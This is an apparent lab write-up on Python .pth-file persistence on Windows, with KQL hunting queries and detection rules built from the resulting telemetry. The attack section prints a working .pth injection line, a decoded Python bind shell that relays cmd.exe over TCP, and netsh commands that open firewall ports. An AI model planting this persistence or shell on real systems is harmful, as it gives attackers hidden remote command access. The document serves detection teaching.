← Back to Posts

Python Persistence via .pth Files

How do I use this?

Click this link Copy init KQL. This will copy a lot of KQL to clipboard that will create the required tables, ASIM parsers, helper functions, and start ingestion of the telemetry. A new window will also open to Azure Data Explorer. Create a free cluster and a database (and a Microsoft account if you don't have one) then paste the clipboard contents into the query window and click Run. The bootstrap process will take about a minute. If you have an existing ADX cluster with data in it, keep in mind that the bootstrap process wipes functions and tables that share names with many common tables. You should create another database if you're concerned about data loss.

The Copy init KQL functionality depends on JS. If it isn't enabled, the link will open a new window to GitHub where you can select all and copy the KQL. Then visit Azure Data Explorer to paste and run the bootstrap query. There are links under the Actions heading on the right for convenience.

Abusing Python .pth files for persistence on Windows

This work is based on Stephan Berger's work Analysis of Python's .pth files as a persistence mechanism, and Volexity Threat Research's post Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400).


Pre-requisites:

  1. Python version 3.5+
  2. setuptools installed by pip

The attack

  1. Appended code to C:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pth:
__import__('subprocess').Popen(['pythonw','-c','exec(__import__("base64").b64decode("...").decode())'],creationflags=0x08000000)

Where the base64-encoded data is:

import socket,subprocess,threading,os
s=socket.socket()
s.bind(('0.0.0.0',45565))
s.listen(1)
c,a=s.accept()
s.close()
p=subprocess.Popen('cmd.exe',stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.STDOUT,creationflags=0x08000000)

def relay():
	while True:
		try:
			data=os.read(p.stdout.fileno(),4096)
			if not data:
				break
			c.sendall(data)
		except:
			break

threading.Thread(target=relay,daemon=True).start()

while True:
	try:
		data=c.recv(4096)
		if not data:
			break
		p.stdin.write(data)
		p.stdin.flush()
	except:
		break
  1. python executed in cmd.exe (anything involving Python will do: launching IDLE, opening a Jupyter notebook, ...)

  2. First execution resulted in a Windows Firewall prompt about something getting blocked. Only a Cancel button is available

  3. Launched a cmd.exe with admin privs, then executed:

netsh advfirewall firewall delete rule name="pythonw.exe" dir=in
netsh advfirewall firewall add rule name="Test Lab" dir=in action=allow protocol=tcp localport=45555-45565 profile=any
  1. Executed python again in cmd.exe
  2. Another machine on the LAN connected to the victim: nc 10.2.10.21 45565
  3. The attacker executed whoami, hostname, cd Documents, dir, cd ../Downloads, dir

Analysis

I began with this:

DeviceFileEvents
| where ActionType == "FileModified" and FileName endswith ".pth"

Unfortunately, DeviceFileEvents doesn't have any results. MDE applies sampling/filtering, and may not log some FileModified events.

Sysmon Event ID 11: FileCreate caught it, however.

_ASim_FileEvent
| where TargetFileName endswith ".pth"
| where EventType in ("FileCreated", "FileModified", "FileRenamed")
| where TargetFilePath has_any ("site-packages", "dist-packages")
| project
    TimeGenerated, DvcHostname, EventType, TargetFileName,
    TargetFilePath, ActingProcessName, ActingProcessCommandLine, ActorUsername

Query output:

TimeGeneratedDvcHostnameEventTypeTargetFileNameTargetFilePathActingProcessNameActorUsername
2026-02-10T04:36:31.178ZJD-WIN11-22H2-1.ludus.domainFileCreateddistutils-precedence.pthC:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pthC:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exeludus\domainuser
2026-02-10T04:37:00.968ZJD-WIN11-22H2-1.ludus.domainFileCreateddistutils-precedence.pthC:\Users\domainuser\AppData\Local\Programs\Python\Python313\Lib\site-packages\distutils-precedence.pthC:\Users\domainuser\AppData\Local\Programs\Python\Python313\pythonw.exeludus\domainuser

Now we know where it was created. Moving on... what happened before/after?

DeviceProcessEvents
| where InitiatingProcessFileName == "cmd.exe"
| project 
    Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, ProcessId
TimestampDeviceNameFileNameFolderPathProcessCommandLineProcessId
2026-02-10T04:36:17.404Zjd-win11-22h2-1.ludus.domainconhost.exeC:\Windows\System32\conhost.execonhost.exe 0xffffffff -ForceV15508
2026-02-10T04:36:27.504Zjd-win11-22h2-1.ludus.domainpython.exeC:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exepython -m pip install setuptools4636
2026-02-10T04:37:22.961Zjd-win11-22h2-1.ludus.domainpython.exeC:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exepython2396
2026-02-10T04:37:44.066Zjd-win11-22h2-1.ludus.domainnetsh.exeC:\Windows\System32\netsh.exenetsh advfirewall firewall delete rule name="pythonw.exe" dir=in11076
2026-02-10T04:38:04.197Zjd-win11-22h2-1.ludus.domainconhost.exeC:\Windows\System32\conhost.execonhost.exe 0xffffffff -ForceV19448
2026-02-10T04:38:06.204Zjd-win11-22h2-1.ludus.domainnetsh.exeC:\Windows\System32\netsh.exenetsh advfirewall firewall delete rule name="pythonw.exe" dir=in10696
2026-02-10T04:38:10.222Zjd-win11-22h2-1.ludus.domainnetsh.exeC:\Windows\System32\netsh.exenetsh advfirewall firewall add rule name="Test Lab" dir=in action=allow protocol=tcp localport=45555-45565 profile=any2860
2026-02-10T04:38:19.282Zjd-win11-22h2-1.ludus.domainpython.exeC:\Users\domainuser\AppData\Local\Programs\Python\Python313\python.exepython8088

We see installation of setuptools, which in this case made .pth persistence possible. We could imagine this already present on a developer's machine, but today we'll pretend it was installed by an attacker. The firewall delete command is an artifact left over from a re-run of the simulation (sorry). In any case, be aware that it is not strictly necessary for this command to run in order for firewall rules to be altered: this can happen via the COM API using a Beacon object file. In fact, many impactful and noisy commands don't have to go over the commandline. A future lab will have telemetry from execution of this and other BOFs, so stay tuned! While you wait, that repo has some good BOFs, take a look.

Detections

_ASim_FileEvent
| where TargetFileName endswith ".pth"
| where TargetFileName !startswith "http"
| where EventType in ("FileCreated", "FileModified", "FileRenamed")
| where TargetFilePath has_any ("site-packages", "dist-packages")
| project
    TimeGenerated, DvcHostname, EventType, TargetFileName,
    TargetFilePath, ActingProcessName, ActingProcessCommandLine, ActorUsername

Note that | where TargetFileName !beginswith "http" is intended to filter SharePoint sync events.

I adapted this Linux rule from Elastic. I omitted the process exec exclusion expression from the Elastic query because it may be possible to evade. Feel free to email me with your recommended detections. I may place them here and credit you.


Other research regarding malicious .pth files:

Endor Labs TeamPCP Isn't Done: Threat Actor Behind Trivy and KICS Compromises Now Hits LiteLLM's 95 Million Monthly Downloads on PyPI
Rapid7 From .pth to p0wned: Abuse of Pickle Files in AI Model Supply Chains
Volexity Threat Research Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400)